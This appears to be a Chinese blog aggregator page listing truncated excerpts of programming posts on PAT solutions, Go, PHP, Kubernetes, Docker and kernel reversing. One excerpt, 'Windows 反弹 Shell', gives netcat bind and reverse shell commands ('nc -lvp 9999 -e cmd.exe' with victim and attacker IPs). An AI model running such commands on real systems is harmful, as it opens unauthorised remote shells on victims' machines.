PAT A1006 Sign In and Sign Out (25)

AC代码 #include <cstdio> #include <algorithm> #include <iostream> using namespace std; struct Sign { char SignInNumber[20]; int h, m, s; }earlist, least, temp; /* struct Time { int h, m, s } left, right, temp; */ void init() { earlist.
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

点分治小结

最近学了学点分治,毕竟OJ上都搞了个专题了。 引入 以一个点为界限,将一棵树分成若干个子树,当划分到一定规模,就对每个子树分别进行求解 我们为了保证时间,所以要使子树大小尽量小。 如何找到最优的点呢?就是重心! 重心 重心是什么? 树的重心也叫树的质心。找到一个点,其所有的子树中最大的子树节点数最少,那么这个点就是这棵树的重心,删去重心后,生成的多棵树尽可能平衡。——百度百科 算法流程 1.求当前树重心。 2.计算答案。 3.走到相邻未操作的节点进行第1步。 求重心 暴力\(O(n)\),找到
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

第四章、Go-面向“对象”

4.1.结构体和方法 (1)go语言的面向对象 go仅支持封装,不支持继承和多态 go语言没有class,只有struct (2)struct的创建 package main import "fmt" func main() { type treeNode struct { value int left, right *treeNode //指针类型 } //不论地址还是结果本身,都用“.” 来访问成员 var root treeNode
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

一个购物车类(session实现的且为单例模式)

<?php defined("Hello")||exit("Hello deny!"); /* 购物车类 session 加单例模式 功能分析 添加商品 删除商品 修改商品数量 检查商品是否存在 某商品数量加一 某商品数量减一 查询购物车的商品种类 查询购物车商品数量 是 查询总金额 返回所有商品 添加订单 修改商品库存 清空购物车 */ //defined("Hello")||exit("Hello deny!"); class CartTool{
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

Windows 反弹 Shell

NC 反弹 shell 攻击场景:   Victim IP: 192.168.2.10   Attacker IP:192.168.2.11 正向 Shell 我们想要弹回Victim的Shell,使用如下命令: Victim:nc -lvp 9999 -e cmd.exe Attacker:nc 192.168.2.10 9999 ps:先在肉鸡上开一个cmd服务,然后在攻击机上进行连接 反向 Shell Attacker:nc -vlp 9999 Victim:nc 192.168.2
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

155. Min Stack(js)

155. Min Stack Design a stack that supports push, pop, top, and retrieving the minimum element in constant time. push(x) -- Push element x onto stack. pop() -- Removes the element on top of the stack. top() -- Get the top element. getMin() -- Retrie
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

Python交互模式下第一个程序

之前我们已经成功的安装了Python解释器,并且它的环境变量已经写在了环境变量里,这使得我们可以在CMD种,随时调用它。 即在命令中只要输入Python并回车我们就可以进入Python的交互模式 退出就输入 1 exit() 在交互模式下,直接输入代码就能立刻得到结果:
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

shutter 安装和设置快捷键

1. 打开系统设置 2. 打开 Keyboard 键盘设置 3. 添加成功的状态 4. 单击右侧 Disabled,然后快速按下 Ctrl+Alt+A 如下图 5. Ctrl+Alt+A 测试OK。 参考:https://justcoding.iteye.com/blog/2261263
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

记录:利用cmd窗口导入mysql的sql脚本

1.进入mysql的黑窗口并输入密码登录: 2.输入:“use 数据库名”—》进入对应数据库 3.开始导入sql文件,输入“source sql文件的路径”(注意你的文件路径要是复制来的,要将"\"全部换成“/”) 4.导入完成刷新数据库,查看表。
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

PAT B1001 害死人不偿命的(3n+1)猜想 (15)

AC代码 #include <cstdio> int main() { int n,step; scanf("%d", &n); while(n != 1) { if(n % 2 == 0) n = n / 2; else n = (3 * n + 1) / 2; step++; } printf("%d\n", step); return 0; }
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

如何只反向传播部分样本loss

import torch # 假设预测值为a a = torch.tensor([1, 2, 3, 4], dtype=torch.float) a.requires_grad_(True) # 假设groud truth为[2, 2, 2, 2] y = torch.tensor([2, 2, 2, 2], dtype=torch.float) # loss采用L2 loss = (y - a) * (y - a) / 2 print(loss) gradients = t
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

ambari 快速安装部署

OS:Linux CPU消耗大,要准备5G以上,不然集群启动不了(我自己给它配了8G,启动整个集群是没问题,要用的话估计不够) 一、准备工作: 1、关闭防火墙:sudo ufw disable/ 2、安装java:tar -zvxf jdk8u181-linux-x64-tar 3、配置java环境:vi ~/.rcbash 在末尾添加:(添加后保存退出,用source ~/.ssh 使文件生效) export JAVA_HOME=/usr/local/jdk export PATH=$JAV
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

k8s之调度器、预选策略及优选函数

1.调度器(scheduler) 调度器的功能是调度Pod在哪个Node上运行,这些调度信息存储在master上的etcd里面,能够和etcd打交道的只有apiserver; kubelet运行在node节点上,监控着Node节点上的pod状态,并参与pod的创建等工作; kube-proxy也运行在node节点上,它监控着service资源的变动; kubelet和kube-proxy都要连接master上的apiserver去获取定义信息. 预选步骤--default scheduler通
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

PAT B1011 A+B 和 C (15)

AC代码 #include <cstdio> int main() { int T, tcase = 1; scanf("%d", &T); for(int i = 0; i < T; i++) { long long a, b, c; scanf("%lld%lld%lld", &a, &b, &c); if(a + b > c) { printf("Case #%d: t
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

x32下PsSetLoadImageNotifyRoutine的逆向

一丶简介 纯属兴趣爱好.特来逆向玩玩. PsSetLoadImageNotifyRoutine 是内核中用来监控模块加载.操作系统给我们提供的回调. 我们只需要填写对应的回调函数原型即可进行加监控. 既然可以进行监控.那么我们的回调函数存储在哪.这是个问题.所以特来逆向玩玩. 二丶逆向过程 首先我的思路是直接windbg 挂载win7. 然后找到对应的函数进行 uf 反汇编. 来静态查看. 如果那里有疑问则自己进行动态查看. 过程很快.因为逆向过 进程回调监控.所以这个也就很快了.慢慢学习经验
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

给最近正在找工作(iOS)的朋友一些建议/经验

众所周知, iOS开发找工作越来越难, 企业要求越来越高,一方面是资本寒冬期+七八月是企业招人淡季, 另外一方面也是iOS市场饱和。最近有出去看新机会, 所以下面记录一下面试XimalayaFM的大概过程。 面试一共分为4轮,全程手写代码和算法。 一面:自我介绍, 然后问一下手头开发App日活和崩溃率,接着开始问 1. 无痕埋点实现原理,手写方法交换代码; 2. 手写代码使用GCD完成: 先并发下载3张图片, 等3张下载完了再并发下载剩余3张, 这里可以使用dispatch_barrage栅栏
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

基于Docker的GitLab搭建

今天写一些Docker搭建GitLab,好久没有写博客园了,今天又回来了,为了学习技术? 建议使用Linux内核系统,或者虚拟机,首先安装docker环境(菜鸟教程) 一、下载镜像文件 如果慢的话,可以配置阿里云加速镜像。 命令: docker pull beginor/gitlab-ce:11.0.1-ce.0 二、 创建GitLab 的配置 (etc) 、 日志 (log) 、数据 (data) 放到容器之外, 便于日后升级, 因此请先准备这三个目录。 mkdir -p /mnt/gitl
分类: 其他 发布时间: 08-03 22:34 阅读次数: 0

大数据智能营销系统到底怎么样?

大数据智能营销系统就是利用大数据(bigdata)在互联网行业快速找出自己的潜在客户群体,然后利用软件自动化的营销客户,但是现在是在市场上有很多不一样的大数据智能营销系统,有正版,有破解版下面小编就给大家分析一下,大数据智能营销系统正版和破解版的区别:1.正版的大数据智能营销系统是一整套的系统,和阿里云合作,建立的系统,整合所有的软件搭载在一个云服务系统里,整个系统植入在一个统一定制的笔记本电脑中
分类: 企业开发 发布时间: 08-03 22:31 阅读次数: 0

成功搭建FTP站点并实现上传与下载

文件传输协议文件传输协议(FileTransferProtocol,FTP)是用于在网络上进行文件传输的一套标准协议。FTP允许用户以文件操作的方式(如文件的增、删、改、查、传送等)与另一主机相互通信。然而,用户并不真正登录到自己想要存取的计算机上面而成为完全用户,可用FTP程序访问远程资源,实现用户往返传输文件、目录管理以及访问电子邮件等等,即使双方计算机可能配有不同的操作系统和文件存储方式。事
分类: 企业开发 发布时间: 08-03 22:31 阅读次数: 0

在服务器端搭建WDS自动部署服务实现自动装机

WDS自动部署服务Windows部署服务(WindowsDeploymentServices,缩写WDS),适用与大中型网络中的计算机操作系统部署。可以使用Windows部署服务来管理映像以及无人参与安装脚本,并提供人工参与安装和无人参与安装的选项。WDS服务配合DHCP服务和Windows活动目录域服务,可以对支持PXE启动的客户端从远程安装和部署操作系统事先准备一台装有WindowsSever
分类: 企业开发 发布时间: 08-03 22:31 阅读次数: 0